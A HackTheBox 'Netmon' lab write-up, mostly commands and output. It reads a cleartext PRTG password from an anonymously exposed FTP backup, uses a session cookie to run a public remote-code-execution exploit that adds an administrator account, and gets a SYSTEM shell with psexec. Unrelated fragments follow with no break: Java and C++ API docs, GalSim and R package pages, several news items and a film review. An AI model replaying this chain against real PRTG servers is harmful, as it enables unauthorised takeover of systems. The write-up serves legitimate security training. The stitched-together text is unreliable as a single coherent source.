HackTheBox - Netmon [no metasploit]
Reconnaissance
export ip=<IP_ADDRESS>
Nmap
Starting with a Nmap TCP scan to discover used ports and services behind, with our usual options:
-sC
runs defaults Nmap scripts-sV
tries to identify the software versions-oA
will output the results in files prefixed by nmap_tcp and using the formats xml, nmap and gnmap-p-
will scan all ports and not the 1000 usual ones
sudo nmap -O -sV -sC -oA nmap_tcp -p- $ip
Nmap scan report for <IP_ADDRESS>
Host is up (0.043s latency).
Not shown: 65522 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd <IP_ADDRESS>46 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/<IP_ADDRESS>46
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/8%OT=21%CT=1%CU=41247%PV=Y%DS=2%DC=I%G=Y%TM=5FA85EA
OS:0%P=x86_64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=
OS:S%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%
OS:O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W
OS:6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%
OS:DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80
OS:%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y
OS:%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4m54s, deviation: 0s, median: 4m53s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-11-08T21:14:41
|_ start_date: 2020-11-08T21:01:14
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 333.90 seconds
UDP scans (with the -sU
flag) in the background:
sudo nmap -sU -oA nmap_udp_light $ip
Nmap scan report for <IP_ADDRESS>
Host is up (0.045s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr
Nmap done: 1 IP address (1 host up) scanned in 1087.66 seconds
sudo nmap -sU -oA nmap_udp -p- $ip
Strategy
- Start with the FTP anonymous access because we seem to have read access and we could get user.txt from there
- The website is running a software named PRTG Network Monitor: try default credentials and look for vulnerabilities.
FTP - port 21
Anonymous Access
The anonymous access allows us to browse the whole file system (C:\
) as an unprivileged user (we don’t have access to the Administrator directory). We also get some free information about the OS: Windows_NT
[ bamboozled-goose /mnt/hgfs/netmon ]# ftp $ip
Connected to <IP_ADDRESS>.
220 Microsoft FTP Service
Name (<IP_ADDRESS>:moo): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
ftp> ls Users
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 10:44PM <DIR> Administrator
02-02-19 11:35PM <DIR> Public
226 Transfer complete.
ftp> cd Administrator
550 Access is denied.
Note that we can’t upload files:
ftp> put test.txt
200 PORT command successful.
550 Access is denied.
user.txt
That shell happens to allow access to C:/Users/Public
:
ftp> cd Users/Public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <DIR> Documents
07-16-16 08:18AM <DIR> Downloads
07-16-16 08:18AM <DIR> Music
07-16-16 08:18AM <DIR> Pictures
02-02-19 11:35PM 33 user.txt
07-16-16 08:18AM <DIR> Videos
226 Transfer complete.
ftp> get user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.0399 seconds (826 bytes/s)
That was a low-effort user.txt
! What’s next?
Website - port 80
Website
Default Credentials
Looking for PRTG default credentials
gives us a link to PRTG’s website:
Alright, let’s tryprtgadmin
:prtgadmin
then:
Default credentials didn’t work, let’s move on and check the vulnerabilities.
Vulnerabilities
The Nmap scan gives us the version and the software used by the website:
Indy httpd <IP_ADDRESS>46 (Paessler PRTG bandwidth monitor)
Looking for vulnerability affecting PRTG network monitor gives us:
- PRTG Network Monitor < <IP_ADDRESS>8 - Stack Overflow (Denial of Service)
- PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
The first exploit is a DoS is not interesting, the second one on the other hand… Remote Code Execution, this is more my jam.
Let’s get a copy of that exploit and see what it needs:
[ bamboozled-goose /mnt/hgfs/netmon ]# searchsploit -m 46527
Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/46527
Path: /usr/share/exploits/exploit-db/exploitdb/exploits/windows/webapps/46527.sh
File Type: Bourne-Again shell script, ASCII text executable, with very long lines, with CRLF line terminators
Copied to: /mnt/hgfs/netmon/46527.sh
Alright, let’s run it:
[ bamboozled-goose /mnt/hgfs/netmon ]# ./46527.sh
bash: ./46527.sh: /bin/bash^M: bad interpreter: No such file or directory
Buh. That file uses DOS style carriage return ^M
, which Linux doesn’t understand. Windows newlines are \r\n
while Linux uses \n
. You can use cat -v
to print the file with those pesky ^M
visible:
$ cat -v 46527.sh
#!/bin/bash^M
echo -e "\n\e[00;33m[+]#########################################################################[+] \e[00m"^M
echo -e "\e[00;32m[*] Authenticated PRTG network Monitor remote code execution [*] \e[00m"^M
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"^M
[...]
To get rid of DOS return carriage and replace them with Linux return carriage, you can use this sed command:
sed -e "s/\r//g" 46527.sh > 46527_fixed.sh
Enable script execution and we can now run the fixed script:
$ chmod +x 46527_fixed.sh
Okay, so now we have the usage. But that exploits needs the cookie of an existing account to work, and we already tried prtgadmin:prtgadmin
without success. How are we going to find another account…
Hunting for credentials
Well. Remember how we could any file with the anonymous FTP? Where does PRTG stores his user accounts? Can we access them?
The knowledge base of PRTG has all kind of answers for us! Like an article on How and where PRTG stores his data. This tells us that users are stored in PRTG Configuration.dat.
And the Data Directory is one of those four paths:
Let’s check if we have access from the FTP, this time with the -i
option to not have to answer y
to each file we download:
$ ftp -i $ip
Connected to <IP_ADDRESS>.
220 Microsoft FTP Service
Name (<IP_ADDRESS>:moo): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd "programdata\Paessler\PRTG Network Monitor"
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-10-20 04:10PM <DIR> Configuration Auto-Backups
11-10-20 03:28PM <DIR> Log Database
02-02-19 11:18PM <DIR> Logs (Debug)
02-02-19 11:18PM <DIR> Logs (Sensors)
02-02-19 11:18PM <DIR> Logs (System)
11-10-20 03:28PM <DIR> Logs (Web Server)
11-10-20 03:34PM <DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
02-25-19 09:54PM 1189697 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
11-10-20 04:10PM 1671119 PRTG Graph Data Cache.dat
02-25-19 10:00PM <DIR> Report PDFs
02-02-19 11:18PM <DIR> System Information Database
02-02-19 11:40PM <DIR> Ticket Database
02-02-19 11:18PM <DIR> ToDo Database
226 Transfer complete.
Let’s download all we can with mget *
ftp> mget *
local: PRTG Configuration.dat remote: PRTG Configuration.dat
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1189697 bytes received in 0.58 seconds (1.96 Mbytes/s)
local: PRTG Configuration.old remote: PRTG Configuration.old
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1189697 bytes received in 0.645 seconds (1.76 Mbytes/s)
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 0.603 seconds (1.83 Mbytes/s)
local: PRTG Graph Data Cache.dat remote: PRTG Graph Data Cache.dat
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 546 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
1671119 bytes received in 0.814 seconds (1.96 Mbytes/s)
Can we find the password for prtgadmin
in those files we just looted?
[ bamboozled-goose /mnt/hgfs/netmon/PRTG ]# rg prtgadmin
PRTG Configuration.old.bak
141: <!-- User: prtgadmin -->
29166: prtgadmin
PRTG Configuration.dat
29942: prtgadmin
PRTG Configuration.old
29942: prtgadmin
And look, in that PRTG Configuration.old.bak
file:
<dbpassword>
<!--
Here, I went lost on several other stuff, thinking this was the wrong path. After a while, I checked writeups to see where I went wrong… And… I didn’t. It’s just you need to “update” the leaked password… Sheesh.
login: prtgadmin
password: PrTg@dmin2019
And this lets us in:
Back to our exploit
We can now grab the cookie we needed to run the exploit!
I used the Firefox Web developer tools to copy the cookie. Open the storage tab, clicking on the cookie should open the data panel on the right and from there you can just right click on the cookie content and select copy.
Content of the cookie:
OCTOPUS1813713946:"ezc0MzQ4NTRBLTUyMUQtNDc3My1CRTJDLTBGRDBCQUM2OUMyRX0%3D"
Now, let’s we can finally run the exploit from earlier:
[ bamboozled-goose /mnt/hgfs/netmon/PRTG ]# ./46527_fixed.sh -u http://<IP_ADDRESS> -c "OCTOPUS1813713946=ezc0MzQ4NTRBLTUyMUQtNDc3My1CRTJDLTBGRDBCQUM2OUMyRX0%3D"
[+]#########################################################################[+]
[*] Authenticated PRTG network Monitor remote code execution [*]
[+]#########################################################################[+]
[*] Date: 11/03/2019 [*]
[+]#########################################################################[+]
[*] Author: https://github.com/M4LV0<EMAIL_ADDRESS>[*]
[+]#########################################################################[+]
[*] Vendor Homepage: https://www.paessler.com/prtg [*]
[*] Version: 18.2.38 [*]
[*] CVE: CVE-2018-9276 [*]
[*] Reference: https://www.codewatch.org/blog/?p=453 [*]
[+]#########################################################################[+]
# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.
# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'
[+]#########################################################################[+]
[*] file created
[*] sending notification wait....
[*] adding a new user 'pentest' with password 'P3nT3st'
[*] sending notification wait....
[*] adding a user pentest to the administrators group
[*] sending notification wait....
[*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!
It works and should have created a user pentest
with the password P3nT3st!
.
Shell as system
To get a shell, we can use psexec.py
which is bundled with impacket.
[ bamboozled-goose /mnt/hgfs/netmon ]# psexec.py<EMAIL_ADDRESS>Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
Buh. Reset the machine and try the exploit again…
[ bamboozled-goose /mnt/hgfs/netmon ]# psexec.py<EMAIL_ADDRESS>Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on <IP_ADDRESS>.....
[*] Found writable share ADMIN$
[*] Uploading file RydLqDhH.exe
[*] Opening SVCManager on <IP_ADDRESS>.....
[*] Creating service rIla on <IP_ADDRESS>.....
[*] Starting service rIla.....
[!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
That’s better! Now, grab the flag:
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 684B-9CE8
Directory of C:\Users\Administrator\Desktop
02/02/2019 11:35 PM <DIR> .
02/02/2019 11:35 PM <DIR> ..
02/02/2019 11:35 PM 33 root.txt
1 File(s) 33 bytes
2 Dir(s) 12,049,416,192 bytes free
I was curious about the OS, so I also ran systeminfo
:
C:\Users\Administrator\Desktop>systeminfo
Host Name: NETMON
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30821-30176-AA362
Original Install Date: 2/3/2019, 7:05:45 AM
System Boot Time: 11/11/2020, 3:05:20 AM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 3,301 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 4,051 MB
Virtual Memory: In Use: 748 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 2 Hotfix(s) Installed.
[01]: KB3199986
[02]: KB3200970
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: <IP_ADDRESS>
[02]: fe80::b978:7945:582d:5ff9
[03]: dead:beef::b978:7945:582d:5ff9
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Takeaways
- If you find a password in an old backup: try updating the year (If you find P@ssw0rd2017, try P@ssw0rd2018, P@ssw0rd2019, …)
- Leaving backup of configurations with passwords in clear is a bad thing, just remove them
- While you’re there, no one needs a free access to your FTP to read the whole filesystem.


See: Description
| Interface | Description |
|---|---|
| ASMContentHandler.OpcodeGroup | |
| Processor.ContentHandlerFactory |
A
ContentHandlerFactory is used to create
ContentHandler instances for concrete
context. |
| Processor.EntryElement |
| Class | Description |
|---|---|
| ASMContentHandler |
A
ContentHandler that transforms XML
document into Java class file. |
| ASMContentHandler.Opcode |
Opcode
|
| ASMContentHandler.RuleSet | |
| Processor |
Processor is a command line tool that can be used for bytecode waving
directed by XSL transformation.
|
| Processor.ASMContentHandlerFactory |
ASMContentHandlerFactory
|
| Processor.InputSlicingHandler |
A
ContentHandler that splits XML
documents into smaller chunks. |
| Processor.OutputSlicingHandler |
A
ContentHandler that splits XML
documents into smaller chunks. |
| Processor.ProtectedInputStream |
IputStream wrapper class used to protect input streams from being closed
by some stupid XML parsers.
|
| Processor.SAXWriter |
A
ContentHandler and
LexicalHandler that serializes XML
from SAX 2.0 events into Writer . |
| Processor.SAXWriterFactory |
SAXWriterFactory
|
| Processor.SingleDocElement | |
| Processor.SubdocumentHandlerFactory |
SubdocumentHandlerFactory
|
| Processor.TransformerHandlerFactory |
TransformerHandlerFactory
|
| Processor.ZipEntryElement | |
| SAXAdapter |
SAXAdapter
|
| SAXAnnotationAdapter |
SAXAnnotationAdapter
|
| SAXClassAdapter |
A
ClassVisitor that generates SAX 2.0
events from the visited class. |
| SAXCodeAdapter |
A
MethodVisitor that generates SAX 2.0 events from the visited
method. |
| SAXFieldAdapter |
SAXFieldAdapter
|
ASMContentHandler and SAXClassAdapter/SAXCodeAdapter are using asm-xml.dtd. Here is the example of bytecode to bytecode XSLT transformation.
SAXTransformerFactory saxtf = ( SAXTransformerFactory) TransformerFactory.newInstance(); Templates templates = saxtf.newTemplates( xsltSource); TransformerHandler handler = saxtf.newTransformerHandler( templates); handler.setResult( new SAXResult( new ASMContentHandler( outputStream, computeMax))); ClassReader cr = new ClassReader( bytecode); cr.accept( new SAXClassAdapter( handler, cr.getVersion(), false), false);See JAXP and SAX documentation for more detils.
There are few illustrations of the bytecode transformation with XSLT in examples directory. The following XSLT procesors has been tested.
Engine javax.xml.transform.TransformerFactory property jd.xslt jd.xml.xslt.trax.TransformerFactoryImpl Saxon net.sf.saxon.TransformerFactoryImpl Caucho com.caucho.xsl.Xsl Xalan interpeter org.apache.xalan.processor.TransformerFactory Xalan xsltc org.apache.xalan.xsltc.trax.TransformerFactoryImpl


Survival after expected death
by Chelsea PowrieA cat whose owners both died last year was left alone and sick with no home, but she has defied the odds for her survival thanks to Critteraid Animal Sanctuary in Summerland.
Saffron is a young cat with many medical issues who came to Critteraid malnourished and skinny.
They were told Saffy might not last six months after her owners passed away.
"Unfortunately for the family, there was no other option [than giving her up]," Critteraid animal director Jess Byer said, explaining that after her surrender, vets said her medical issues would be difficult to mitigate.
But Saffy has defied the odds, and is now a poster-cat for the work Critteraid does. She is the unofficial secretary who greets every visitor to the Critteraid adoption centre.
"Whenever you come into the lobby, she is the first to tell you if the cookies have not come down or if she needs more treats," Byer said.
Vets who work with Critteraid say Saffy could see another year or two of life with proper care, despite her health issues.
Byer says Saffy's case highlights the importance of community involvement in the Critteraid cause, because they could not afford to care for animals without help from the community.
"Without the community's support and without the financial backing, we would not be able to provide such wonderful places," Byer said.
Find out more about Critteraid and contribute to the cause here.


Surface Brightness Profiles¶
There are many possible ways to define a surface brightness profile of an astronomical
object (stars, galaxies, etc.) in GalSim. We have classes for common PSF models (e.g.
Moffat
and Airy
), analytic galaxy profiles (e.g. Exponential
and Sersic
), interpolation
of an arbitrary input image (InterpolatedImage
), some other more complicated models,
and ways to combine models as sums or convolutions. Models can also be arbitrarily
stretched, rotated, and dilated in various ways.
The classes for these various surface brightness profiles are all subclasses of the
GSObject
base class. See that section for details about most of the public API
methods that are defined for all (or almost all) of these classes.
Next, we list the subclasses of GSObject
organized by their intended use. These are
the classes you would actually use when building the profile for an astronomical object.


Fed Chairman Powell says unemployment, already at 50-year low, could go lower
by Nihal KrishanFederal Reserve Chairman Jerome Powell said that the unemployment rate, already at a 50-year low, could drop further without necessarily causing inflation to rise.
"The data is not sending any signal that the labor market is so hot or that inflation is moving up," Powell said during a hearing at the congressional Joint Economic Committee. "What we have learned ... is that the U.S. economy can operate at a much lower level of unemployment than many thought."
The chairman also said that wages were rising.
"If you go back five years, wages and compensation were going up to about 2%, that has gradually moved up to 3% — so that’s really the trend has been upward ... We’ve seen wages moving up,” Powell said.
“That’s true across all major measures of wages over the last, let's say, 5 to 6 years,” he said.
[Read more: Fed chair indicates no more interest rate cuts this year]


The package implements efficient ways to evaluate and solve equations of the form Ax=b, where A is a kronecker product of matrices. Functions to solve least squares problems of this type are also included.
| Version: | 2007-02-05 |
| Depends: | R (≥ 2.0.0), Matrix (≥ 0.9975-8) |
| Published: | 2012-10-29 |
| Author: | Tamas K Papp |
| Maintainer: | ORPHANED |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| CRAN checks: | klin results |
| Reference manual: | klin.pdf |
| Package source: | klin_2007-02-05.tar.gz |
| Windows binaries: | r-devel: klin_2007-02-05.zip, r-release: klin_2007-02-05.zip, r-oldrel: klin_2007-02-05.zip |
| OS X binaries: | r-release: klin_2007-02-05.tgz, r-oldrel: klin_2007-02-05.tgz |
Please use the canonical form https://CRAN.R-project.org/package=klin to link to this page.


C++ wrapper for a GLFW monitor.
More...
#include <Glfwx/Monitor.h>
C++ wrapper for a GLFW monitor.
- See also
- GLFWmonitor
- Warning
- This implementation is provisional. Everything will probably be different once I figure out how it should really be implemented
◆ VideoMode
Video mode information.
- See also
- GLFWvidmode
◆ Monitor()
| Glfwx::Monitor::Monitor |
( |
GLFWmonitor * |
m | ) |
|
|
explicit |
◆ context()
| void* Glfwx::Monitor::context |
( |
| ) |
const |
Returns the user-defined context.
- See also
- glfwGetMonitorUserPointer
◆ enumerate()
| static std::vector<Monitor> Glfwx::Monitor::enumerate |
( |
| ) |
|
|
static |
Returns a list of copies of the available monitors.
- Returns
- List of copies of the available monitors
- See also
- glfwGetMonitors
◆ enumerateVideoModes()
| std::vector<VideoMode> Glfwx::Monitor::enumerateVideoModes |
( |
| ) |
const |
Returns the available video modes for the monitor.
- Returns
- List of available video modes
- See also
- glfwGetVideoModes
◆ gammaRamp()
| GammaRamp Glfwx::Monitor::gammaRamp |
( |
| ) |
const |
Returns the current gamma ramp for the monitor.
- Returns
- The current gamma ramp
- See also
- glfwGetGammaRamp
◆ name()
| std::string Glfwx::Monitor::name |
( |
| ) |
const |
Returns the name of the monitor.
- Returns
- The name of the monitor
- See also
- glfwGetMonitorName
◆ position()
| void Glfwx::Monitor::position |
( |
int * |
x, |
|
|
int * |
y |
|
) |
| const |
Returns the position of the monitor's viewport on the virtual screen.
- Parameters
-
| x | Where to store the monitor x-coordinate, or nullptr |
| y | Where to store the monitor y-coordinate, or nullptr |
- See also
- glfwGetMonitorPos
◆ primary()
| static Monitor Glfwx::Monitor::primary |
( |
| ) |
|
|
static |
Returns a copy of the primary monitor.
- Returns
- A copy of the primary monitor
- See also
- glfwGetPrimaryMonitor
◆ scale()
| void Glfwx::Monitor::scale |
( |
float * |
x, |
|
|
float * |
y |
|
) |
| const |
Returns the content scale for the monitor.
- Parameters
-
| x | Where to store the x-axis content scale, or nullptr |
| y | Where to store the y-axis content scale, or nullptr |
- See also
- glfwGetMonitorContentScale
◆ setConnectionChangedCallback()
| static void Glfwx::Monitor::setConnectionChangedCallback |
( |
std::function< void(Monitor const &, bool)> const & |
cb | ) |
|
|
static |
Sets the function to be called when the connection status of a monitor has changed.
- Parameters
-
- See also
- glfwSetMonitorCallback
◆ setContext()
| void Glfwx::Monitor::setContext |
( |
void * |
context | ) |
|
Sets the user-defined context.
- Parameters
-
| context | User-defined context |
- See also
- glfwSetMonitorUserPointer
◆ setGamma()
| void Glfwx::Monitor::setGamma |
( |
float |
gamma | ) |
|
Generates a gamma ramp and sets it for the monitor.
- Parameters
-
| gamma | The desired exponent. |
- See also
- glfwSetGamma
◆ setGammaRamp()
| void Glfwx::Monitor::setGammaRamp |
( |
GammaRamp const & |
ramp | ) |
|
Sets the current gamma ramp for the monitor.
- Parameters
-
| ramp | The gamma ramp to use. |
- See also
- glfwSetGammaRamp
◆ size()
| void Glfwx::Monitor::size |
( |
int * |
width, |
|
|
int * |
height |
|
) |
| const |
Returns the physical size of the monitor.
- Parameters
-
| width | Where to store the width, in millimetres, of the monitor's display area, or nullptr |
| height | Where to store the height, in millimetres, of the monitor's display area, or nullptr |
- See also
- glfwGetMonitorPhysicalSize
◆ videoMode()
| VideoMode Glfwx::Monitor::videoMode |
( |
| ) |
const |
Returns the current mode of the monitor.
- Returns
- The current mode of the monitor
- See also
- glfwGetVideoMode
◆ workArea()
| void Glfwx::Monitor::workArea |
( |
int * |
x, |
|
|
int * |
y, |
|
|
int * |
width, |
|
|
int * |
height |
|
) |
| const |
Returns the work area of the monitor.
- Parameters
-
| x | Where to store the monitor x-coordinate, or nullptr |
| y | Where to store the monitor y-coordinate, or nullptr |
| width | Where to store the monitor width, or nullptr |
| height | Where to store the monitor height, or nullptr |
- See also
- glfwGetMonitorWorkarea


DStv without a decoder planned for 2020
by Hanno LabuschagneMultiChoice will soon start testing DStv Now as a standalone service.
The on-demand platform is currently only available as part of a DStv subscription, which requires a connected decoder and satellite dish.
MyBroadband spoke to MultiChoice Connected Video CEO Niclas Ekdahl about the company’s plans to launch a standalone DStv Now offering during the company’s Media Showcase in Sandton.
He said that although the company has been working on a decoder-less product for a while, it is important that the platform is well-optimised before launch.
“I didn’t think the user experience was up to scratch to deliver what the end consumers would expect,” said Ekdahl.
DStv Now has since added several improvements, which include the introduction of user profiles, watchlists, and recommendations.
“I think the stuff that we’ve done on DStv Now in the past 12 months is actually bringing us much closer to saying that ‘Yeah, this is a service where I can stand behind’, and say that this is going to be delivering a seamless user journey for our consumers,” he said.
He also confirmed that the launch of a standalone DStv Now platform is expected before the end of March 2020, after external testing is done.
“We are about to hit field trials, and I think we announced last year that we will be rolling it out within this fiscal year, so that’s still our plan.”
Big growth in OTT services
MultiChoice’s interim results revealed a year-over-year increase of 48% in the monthly active users of its Showmax and DStv Now platforms in Africa.
Ekdahl said he anticipates that these services will continue to perform well.
“I think the OTT services will continue to have a healthy growth going forward,” Ekdahl said.


THE ENGLISH PATIENT A film review by Steve Rhodes Copyright 1996 Steve Rhodes
RATING (0 TO ****): ****
When a book like Michael Ondaatje's "The English Patient" wins awards and then goes on to become a major motion picture, it raises the old question of should you read the book before you check out the film. This assumes, of course, that you haven't already read the novel before the studios decide it is movie material.
Into the press screening yesterday most of the critics had their copies tucked under their arms like fundamentalist Christians and their Bibles. In theory I'd like to read the book in advance, but I rarely do. In the case of THE ENGLISH PATIENT I am glad I didn't. Because I didn't, I had no idea where the movie was going, but I did know that I was entranced by the voyage it was taking me on, and I was happy not to know its mysteries in advance. During this review, I will do, as I always do, and tell you none of the key twists and certainly less than the trailers and most professional reviewers will.
Some movies evoke a single word, and THE ENGLISH PATIENT is one. The word here is enigma. Each of the characters start as enigmas not only to the audience, but to themselves. The film is a shared journey as they seek meaning and healing for each is a troubled soul. By the end of the film, the mysteries are resolved, the characters have stolen your heart, and two great romances have blossomed. This is considerable more than the sum of three normal films.
The show takes place simultaneously in North Africa at the start of World War II and in Italy as the war is drawing to a close. The characters in these stories are linked only by a man known merely as "The English Patient."
After a plane crash in North Africa and a rescue by local tribesmen, a horribly burnt man is sent to Italy where he is taken under the wing of a Canadian nurse named Hana (Juliette Binoche). "My organs are packing up. I'm a bit of toast," he warns Hana. She takes The English Patient from the ambulance convoy to an abandoned monastery where she spends time reading to him and caring for him. When a thief who works for the army, Caravaggio (Willem Dafoe), shows up asking for shelter, The English Patient explains to him that Hana's problem is she thinks she is a jinx. "I think anybody she loves starts to die on her."
Back in North Africa, Katharine Clifton (Kristin Scott Thomas from MISSION: IMPOSSIBLE, RICHARD III, and FOUR WEDDINGS AND A FUNERAL) is arriving. Her husband Geoffrey (Colin Firth) and other members of the Royal Geographical Society are there to produce aerial maps for the British Air Force. The tuxedoed geographers view this as an thrilling romp. "Welcome to the International Sand Club," says Geoffrey to his wife upon her arrival. With them is Hungarian Count Laszlo Almasy (Ralph Fiennes from SCHINDLER'S LIST), and Katharine greets him with the put-down, "I wanted to meet the man who could write such a long paper with so few adjectives."
Soon the Count and she are dancing, and with a single intensive stare he seduces her on the dance floor. She reciprocates in an extremely erotic scene where there stay as far apart as teenagers at a church dance. The mark of great actors is what they can do with just their eyes. By that benchmark, Fiennes and Thomas are two of the best. Both of them are playing against the type with whom you associate them. Fiennes is far from a Nazi, and Thomas isn't playing her usual wallflower role. Both are convincing as mysterious and sensuous romantics and adulterers. Although there is nothing wrong with Geoffrey, I predict the women in the audience will be secretly cheering Katherine on in her affair with the Count.
As the mark of a good author, Ondaatje, and the highly literate screenplay by Anthony Minghella, can keep adding characters without making any of them superficial and without confusing the audience. In this show, that has the scope, feel, and look of LAWRENCE OF ARABIA, even more characters are introduced. The monastery's guest list adds an Indian bomb expert, Kip (Naveen Andrews) and his Sargent Hardy (Kevin Whately - Sargent Lewis from TV's "Inspector Morse"). We even have Juergen Prochnow as a German Officer, but he makes no visit to the monastery.
